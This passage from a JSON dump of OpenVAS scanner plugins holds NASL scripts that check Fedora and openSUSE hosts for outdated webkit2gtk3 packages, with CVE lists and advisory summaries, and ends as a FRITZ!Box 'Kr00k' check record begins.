is missing an update for the ", "cvss3": {}, "published": "2020-01-09T00:00:00", "type": "openvas", "title": "Fedora Update for webkit2gtk3 FEDORA-2019-fa0c4b0674", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2020-01-13T00:00:00", "id": "OPENVAS:1361412562310877211", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877211", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877211\");\n script_version(\"2020-01-13T11:49:13+0000\");\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-13 11:49:13 +0000 (Mon, 13 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 07:32:08 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"Fedora Update for webkit2gtk3 FEDORA-2019-fa0c4b0674\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC31\");\n\n script_xref(name:\"FEDORA\", value:\"2019-fa0c4b0674\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WOVHOHAND2LF77ZTFDGGS2S7JUAWWAYO\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk3'\n package(s) announced via the FEDORA-2019-fa0c4b0674 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"WebKitGTK is the port of the portable web rendering engine WebKit to the\nGTK platform.\n\nThis package contains WebKit2 based WebKitGTK for GTK 3.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk3' package(s) on Fedora 31.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC31\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3\", rpm:\"webkit2gtk3~2.26.2~1.fc31\", rls:\"FC31\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-31T16:47:51", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-12-01T00:00:00", "type": "openvas", "title": "openSUSE: Security Advisory for webkit2gtk3 (openSUSE-SU-2019:2587-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8681", "CVE-2019-8815", "CVE-2019-8563", "CVE-2019-8769", "CVE-2019-8782", "CVE-2019-8559", "CVE-2019-8726", "CVE-2019-8822", "CVE-2019-8743", "CVE-2019-8707", "CVE-2019-8558", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8771", "CVE-2019-8763", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8688", "CVE-2019-8674", "CVE-2019-8551", "CVE-2019-8819", "CVE-2019-8735", "CVE-2019-8764", "CVE-2019-8823", "CVE-2019-8687", "CVE-2019-8766", "CVE-2019-8720", "CVE-2019-8813", "CVE-2019-8686", "CVE-2019-8719", "CVE-2019-8811", "CVE-2019-8733", "CVE-2019-8765", "CVE-2019-8625", "CVE-2019-8690", "CVE-2019-8783", "CVE-2019-8684", "CVE-2019-8689", "CVE-2019-8710", "CVE-2019-8812", "CVE-2019-8768", "CVE-2019-8814"], "modified": "2020-01-31T00:00:00", "id": "OPENVAS:1361412562310852791", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852791", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852791\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-8551\", \"CVE-2019-8558\", \"CVE-2019-8559\", \"CVE-2019-8563\", \"CVE-2019-8625\", \"CVE-2019-8674\", \"CVE-2019-8681\", \"CVE-2019-8684\", \"CVE-2019-8686\", \"CVE-2019-8687\", \"CVE-2019-8688\", \"CVE-2019-8689\", \"CVE-2019-8690\", \"CVE-2019-8707\", \"CVE-2019-8710\", \"CVE-2019-8719\", \"CVE-2019-8720\", \"CVE-2019-8726\", \"CVE-2019-8733\", \"CVE-2019-8735\", \"CVE-2019-8743\", \"CVE-2019-8763\", \"CVE-2019-8764\", \"CVE-2019-8765\", \"CVE-2019-8766\", \"CVE-2019-8768\", \"CVE-2019-8769\", \"CVE-2019-8771\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\", \"CVE-2019-8812\", \"CVE-2019-8813\", \"CVE-2019-8814\", \"CVE-2019-8815\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-12-01 03:00:47 +0000 (Sun, 01 Dec 2019)\");\n script_name(\"openSUSE: Security Advisory for webkit2gtk3 (openSUSE-SU-2019:2587-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.0\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:2587-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-11/msg00073.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk3'\n package(s) announced via the openSUSE-SU-2019:2587-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for webkit2gtk3 to version 2.26.2 fixes the following issues:\n\n Webkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\n WSA-2019-0006, bsc#1155321 bsc#1156318)\n\n Security issues addressed:\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete\n browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may\n reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content\n may violate iframe sandboxing policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8782: Fixed m ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk3' package(s) on openSUSE Leap 15.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.0\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18\", rpm:\"libjavascriptcoregtk-4_0-18~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-debuginfo\", rpm:\"libjavascriptcoregtk-4_0-18-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37\", rpm:\"libwebkit2gtk-4_0-37~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-debuginfo\", rpm:\"libwebkit2gtk-4_0-37-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-JavaScriptCore-4_0\", rpm:\"typelib-1_0-JavaScriptCore-4_0~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-WebKit2-4_0\", rpm:\"typelib-1_0-WebKit2-4_0~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-WebKit2WebExtension-4_0\", rpm:\"typelib-1_0-WebKit2WebExtension-4_0~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit-jsc-4\", rpm:\"webkit-jsc-4~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit-jsc-4-debuginfo\", rpm:\"webkit-jsc-4-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk-4_0-injected-bundles\", rpm:\"webkit2gtk-4_0-injected-bundles~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk-4_0-injected-bundles-debuginfo\", rpm:\"webkit2gtk-4_0-injected-bundles-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-debugsource\", rpm:\"webkit2gtk3-debugsource~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-devel\", rpm:\"webkit2gtk3-devel~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-minibrowser\", rpm:\"webkit2gtk3-minibrowser~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-minibrowser-debuginfo\", rpm:\"webkit2gtk3-minibrowser-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk3-lang\", rpm:\"libwebkit2gtk3-lang~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-32bit\", rpm:\"libjavascriptcoregtk-4_0-18-32bit~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo\", rpm:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-32bit\", rpm:\"libwebkit2gtk-4_0-37-32bit~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-32bit-debuginfo\", rpm:\"libwebkit2gtk-4_0-37-32bit-debuginfo~2.26.2~lp150.2.28.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-31T16:29:37", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-01-09T00:00:00", "type": "openvas", "title": "openSUSE: Security Advisory for webkit2gtk3 (openSUSE-SU-2019:2591-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8681", "CVE-2019-8815", "CVE-2019-8563", "CVE-2019-8769", "CVE-2019-8782", "CVE-2019-8559", "CVE-2019-8726", "CVE-2019-8822", "CVE-2019-8743", "CVE-2019-8707", "CVE-2019-8558", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8771", "CVE-2019-8763", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8688", "CVE-2019-8674", "CVE-2019-8551", "CVE-2019-8819", "CVE-2019-8735", "CVE-2019-8764", "CVE-2019-8823", "CVE-2019-8687", "CVE-2019-8766", "CVE-2019-8720", "CVE-2019-8813", "CVE-2019-8686", "CVE-2019-8719", "CVE-2019-8811", "CVE-2019-8733", "CVE-2019-8765", "CVE-2019-8625", "CVE-2019-8690", "CVE-2019-8783", "CVE-2019-8684", "CVE-2019-8689", "CVE-2019-8710", "CVE-2019-8812", "CVE-2019-8768", "CVE-2019-8814"], "modified": "2020-01-31T00:00:00", "id": "OPENVAS:1361412562310852964", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852964", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852964\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-8551\", \"CVE-2019-8558\", \"CVE-2019-8559\", \"CVE-2019-8563\",\n \"CVE-2019-8625\", \"CVE-2019-8674\", \"CVE-2019-8681\", \"CVE-2019-8684\",\n \"CVE-2019-8686\", \"CVE-2019-8687\", \"CVE-2019-8688\", \"CVE-2019-8689\",\n \"CVE-2019-8690\", \"CVE-2019-8707\", \"CVE-2019-8710\", \"CVE-2019-8719\",\n \"CVE-2019-8720\", \"CVE-2019-8726\", \"CVE-2019-8733\", \"CVE-2019-8735\",\n \"CVE-2019-8743\", \"CVE-2019-8763\", \"CVE-2019-8764\", \"CVE-2019-8765\",\n \"CVE-2019-8766\", \"CVE-2019-8768\", \"CVE-2019-8769\", \"CVE-2019-8771\",\n \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\",\n \"CVE-2019-8812\", \"CVE-2019-8813\", \"CVE-2019-8814\", \"CVE-2019-8815\",\n \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\",\n \"CVE-2019-8822\", \"CVE-2019-8823\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 09:48:27 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"openSUSE: Security Advisory for webkit2gtk3 (openSUSE-SU-2019:2591-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.1\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:2591-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-11/msg00074.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk3'\n package(s) announced via the openSUSE-SU-2019:2591-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for webkit2gtk3 to version 2.26.2 fixes the following issues:\n\n Webkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\n WSA-2019-0006, bsc#1155321 bsc#1156318)\n\n Security issues addressed:\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete\n browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may\n reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content\n may violate iframe sandboxing policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously\n crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues where by\n processing maliciously crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8782: Fixed m ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk3' package(s) on openSUSE Leap 15.1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18\", rpm:\"libjavascriptcoregtk-4_0-18~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-debuginfo\", rpm:\"libjavascriptcoregtk-4_0-18-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37\", rpm:\"libwebkit2gtk-4_0-37~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-debuginfo\", rpm:\"libwebkit2gtk-4_0-37-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-JavaScriptCore-4_0\", rpm:\"typelib-1_0-JavaScriptCore-4_0~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-WebKit2-4_0\", rpm:\"typelib-1_0-WebKit2-4_0~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-WebKit2WebExtension-4_0\", rpm:\"typelib-1_0-WebKit2WebExtension-4_0~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit-jsc-4\", rpm:\"webkit-jsc-4~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit-jsc-4-debuginfo\", rpm:\"webkit-jsc-4-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk-4_0-injected-bundles\", rpm:\"webkit2gtk-4_0-injected-bundles~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk-4_0-injected-bundles-debuginfo\", rpm:\"webkit2gtk-4_0-injected-bundles-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-debugsource\", rpm:\"webkit2gtk3-debugsource~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-devel\", rpm:\"webkit2gtk3-devel~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-minibrowser\", rpm:\"webkit2gtk3-minibrowser~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3-minibrowser-debuginfo\", rpm:\"webkit2gtk3-minibrowser-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-32bit\", rpm:\"libjavascriptcoregtk-4_0-18-32bit~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo\", rpm:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-32bit\", rpm:\"libwebkit2gtk-4_0-37-32bit~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk-4_0-37-32bit-debuginfo\", rpm:\"libwebkit2gtk-4_0-37-32bit-debuginfo~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libwebkit2gtk3-lang\", rpm:\"libwebkit2gtk3-lang~2.26.2~lp151.2.9.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-21T19:27:00", "description": "AVM FRITZ!Box 7581 and 7582 devices are prone to an information disclosure vulnerability.", "cvss3": {}, "published": "2020-06-29T00:00:00", "type": "openvas", "title": "AVM FRITZ!Box 7581 and 7582 < 7.13 'Kr00k' Information Disclosure Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-15126"], "modified": "2020-06-29T00:00:00", "id": "OPENVAS:1361412562310108808", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310108808", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/o:avm:fritz%21_os\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.108808\");\n script_version(\"2020-06-29T11:09:06+0000\");\n script_cve_id(\"CVE-2019-15126\");\n script_tag(name:\"cvss_base\", value:\"2.9\");\n script_tag(name:\"cvss_base_vector\", 